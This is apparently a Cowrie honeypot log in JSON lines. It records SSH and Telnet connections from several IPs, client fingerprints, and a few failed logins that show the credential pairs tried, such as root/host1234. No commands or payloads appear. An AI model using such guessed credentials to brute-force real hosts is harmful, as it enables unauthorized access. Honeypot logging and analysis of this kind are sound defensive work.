{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":48762,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ce24046b4b1","protocol":"ssh","message":"New connection: 41.86.34.139:48762 (10.17.0.5:22) [session: 3ce24046b4b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:48.425234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:48.429799Z","src_ip":"41.86.34.139","session":"3ce24046b4b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:48.636978Z","src_ip":"41.86.34.139","session":"3ce24046b4b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":56386,"dst_ip":"10.17.0.5","dst_port":23,"session":"467b4372c9f2","protocol":"telnet","message":"New connection: 137.184.155.248:56386 (10.17.0.5:23) [session: 467b4372c9f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:48.832748Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39690,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4b3f308cfa3","protocol":"telnet","message":"New connection: 147.124.211.111:39690 (159.203.135.109:23) [session: e4b3f308cfa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:48.939007Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":39702,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee86f277798a","protocol":"telnet","message":"New connection: 147.124.211.111:39702 (159.203.135.109:23) [session: ee86f277798a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:49.124219Z"}
{"eventid":"cowrie.session.closed","duration":31.1365168094635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:49.471359Z","src_ip":"147.124.211.111","session":"d7450b28c220","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy2019","message":"login attempt [deploy/deploy2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:49.500210Z","src_ip":"41.86.34.139","session":"3ce24046b4b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.522761344909668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:49.556884Z","src_ip":"147.124.211.111","session":"d263dff77846","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.653092861175537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:49.899885Z","src_ip":"147.124.211.111","session":"030f5f2ee4ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:50.710099Z","src_ip":"41.86.34.139","session":"3ce24046b4b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.688672065734863,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:51.598245Z","src_ip":"147.124.211.111","session":"13af1470b5bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.739789724349976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:51.603494Z","src_ip":"147.124.211.111","session":"3dfc9608b548","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.59638261795044,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:51.963157Z","src_ip":"137.184.155.248","session":"e21cef454671","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56716,"dst_ip":"159.203.135.109","dst_port":23,"session":"2513b4c15b7e","protocol":"telnet","message":"New connection: 147.124.211.111:56716 (159.203.135.109:23) [session: 2513b4c15b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:52.146484Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":59566,"dst_ip":"10.17.0.5","dst_port":22,"session":"40448347079c","protocol":"ssh","message":"New connection: 203.90.110.186:59566 (10.17.0.5:22) [session: 40448347079c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:52.416982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:52.421150Z","src_ip":"203.90.110.186","session":"40448347079c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:52.639359Z","src_ip":"203.90.110.186","session":"40448347079c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56720,"dst_ip":"159.203.135.109","dst_port":23,"session":"19ef9cd948ad","protocol":"telnet","message":"New connection: 147.124.211.111:56720 (159.203.135.109:23) [session: 19ef9cd948ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:52.921862Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56724,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd2c7553a4f4","protocol":"telnet","message":"New connection: 147.124.211.111:56724 (159.203.135.109:23) [session: dd2c7553a4f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:53.277459Z"}
{"eventid":"cowrie.login.failed","username":"games","password":"admin2222","message":"login attempt [games/admin2222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:53.547094Z","src_ip":"203.90.110.186","session":"40448347079c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:54.769037Z","src_ip":"203.90.110.186","session":"40448347079c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.559439420700073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:55.830557Z","src_ip":"147.124.211.111","session":"1023e3d688c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4017071723938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:57.128569Z","src_ip":"147.124.211.111","session":"a4e7e927cb33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.401385068893433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:57.133379Z","src_ip":"147.124.211.111","session":"c975dd1b5d98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71193027496338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:58.033201Z","src_ip":"147.124.211.111","session":"eb81a7bad043","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56754,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0d640e781ce","protocol":"telnet","message":"New connection: 147.124.211.111:56754 (159.203.135.109:23) [session: c0d640e781ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:59.000213Z"}
{"eventid":"cowrie.session.closed","duration":30.236660957336426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:59.106491Z","src_ip":"147.124.211.111","session":"b40d7790e4e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56732,"dst_ip":"159.203.135.109","dst_port":23,"session":"6893334bb118","protocol":"telnet","message":"New connection: 147.124.211.111:56732 (159.203.135.109:23) [session: 6893334bb118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:59.172249Z"}
{"eventid":"cowrie.session.closed","duration":31.157137870788574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:59.397892Z","src_ip":"147.124.211.111","session":"760d69390942","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.731587648391724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:59.461723Z","src_ip":"147.124.211.111","session":"b89117fd2f17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.261495113372803,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:59.770160Z","src_ip":"147.124.211.111","session":"a52ed467c55e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56764,"dst_ip":"159.203.135.109","dst_port":23,"session":"08de97df84df","protocol":"telnet","message":"New connection: 147.124.211.111:56764 (159.203.135.109:23) [session: 08de97df84df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:59.865602Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56740,"dst_ip":"159.203.135.109","dst_port":23,"session":"183347d4a18b","protocol":"telnet","message":"New connection: 147.124.211.111:56740 (159.203.135.109:23) [session: 183347d4a18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:52:59.953077Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":37436,"dst_ip":"159.203.135.109","dst_port":23,"session":"65812a978108","protocol":"telnet","message":"New connection: 147.124.211.111:37436 (159.203.135.109:23) [session: 65812a978108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:00.092706Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":37448,"dst_ip":"159.203.135.109","dst_port":23,"session":"d253ff7fd02d","protocol":"telnet","message":"New connection: 147.124.211.111:37448 (159.203.135.109:23) [session: d253ff7fd02d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:00.662589Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":37454,"dst_ip":"159.203.135.109","dst_port":23,"session":"a715dfdd47ad","protocol":"telnet","message":"New connection: 147.124.211.111:37454 (159.203.135.109:23) [session: a715dfdd47ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:01.362722Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":30595,"dst_ip":"10.17.0.5","dst_port":22,"session":"3039b5980f85","protocol":"ssh","message":"New connection: 186.4.240.226:30595 (10.17.0.5:22) [session: 3039b5980f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:01.661713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:01.666956Z","src_ip":"186.4.240.226","session":"3039b5980f85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:01.757574Z","src_ip":"186.4.240.226","session":"3039b5980f85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":37476,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9e9f2b8fef2","protocol":"telnet","message":"New connection: 147.124.211.111:37476 (159.203.135.109:23) [session: f9e9f2b8fef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:01.792828Z"}
{"eventid":"cowrie.session.closed","duration":31.10712695121765,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:02.119620Z","src_ip":"147.124.211.111","session":"816d25419afd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"host1234","message":"login attempt [root/host1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:02.144473Z","src_ip":"186.4.240.226","session":"3039b5980f85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.14341640472412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:02.267288Z","src_ip":"147.124.211.111","session":"d58afd8433fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":37492,"dst_ip":"159.203.135.109","dst_port":23,"session":"e328ac1e9ca1","protocol":"telnet","message":"New connection: 147.124.211.111:37492 (159.203.135.109:23) [session: e328ac1e9ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:02.398292Z"}
{"eventid":"cowrie.session.closed","duration":30.861839056015015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:03.025638Z","src_ip":"147.124.211.111","session":"a4d78e667609","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90006375312805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:03.054900Z","src_ip":"147.124.211.111","session":"9cd1edcb299f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:03.234610Z","src_ip":"186.4.240.226","session":"3039b5980f85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":37506,"dst_ip":"159.203.135.109","dst_port":23,"session":"b027aaee90da","protocol":"telnet","message":"New connection: 147.124.211.111:37506 (159.203.135.109:23) [session: b027aaee90da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:03.939753Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":37504,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1bf680676f1","protocol":"telnet","message":"New connection: 147.124.211.111:37504 (159.203.135.109:23) [session: b1bf680676f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:04.035496Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":37462,"dst_ip":"159.203.135.109","dst_port":23,"session":"0099e0424fb3","protocol":"telnet","message":"New connection: 147.124.211.111:37462 (159.203.135.109:23) [session: 0099e0424fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:04.754462Z"}
{"eventid":"cowrie.session.closed","duration":31.31091833114624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:06.867454Z","src_ip":"147.124.211.111","session":"444fb7f703ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":37514,"dst_ip":"159.203.135.109","dst_port":23,"session":"f57cac2adbcc","protocol":"telnet","message":"New connection: 147.124.211.111:37514 (159.203.135.109:23) [session: f57cac2adbcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:07.162490Z"}
{"eventid":"cowrie.session.closed","duration":30.809292316436768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:07.463222Z","src_ip":"147.124.211.111","session":"82411ac10b2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.961687088012695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:07.609793Z","src_ip":"147.124.211.111","session":"0ef414d195e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":63381,"dst_ip":"159.203.135.109","dst_port":22,"session":"c04f006e06f7","protocol":"ssh","message":"New connection: 178.27.90.142:63381 (159.203.135.109:22) [session: c04f006e06f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:09.020746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:09.264013Z","src_ip":"178.27.90.142","session":"c04f006e06f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:09.364476Z","src_ip":"178.27.90.142","session":"c04f006e06f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wang","message":"login attempt [root/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:09.808794Z","src_ip":"178.27.90.142","session":"c04f006e06f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38384,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fa939428789","protocol":"telnet","message":"New connection: 147.124.211.111:38384 (159.203.135.109:23) [session: 1fa939428789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:10.083244Z"}
{"eventid":"cowrie.session.closed","duration":30.434376001358032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:10.257812Z","src_ip":"147.124.211.111","session":"9a315fbaf61d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:10.914082Z","src_ip":"178.27.90.142","session":"c04f006e06f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.833178281784058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:11.241797Z","src_ip":"147.124.211.111","session":"f30037bfb9f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.047099351882935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:53:11.966033Z","src_ip":"147.124.211.111","session":"981e6567b72c","protocol":"telnet"}
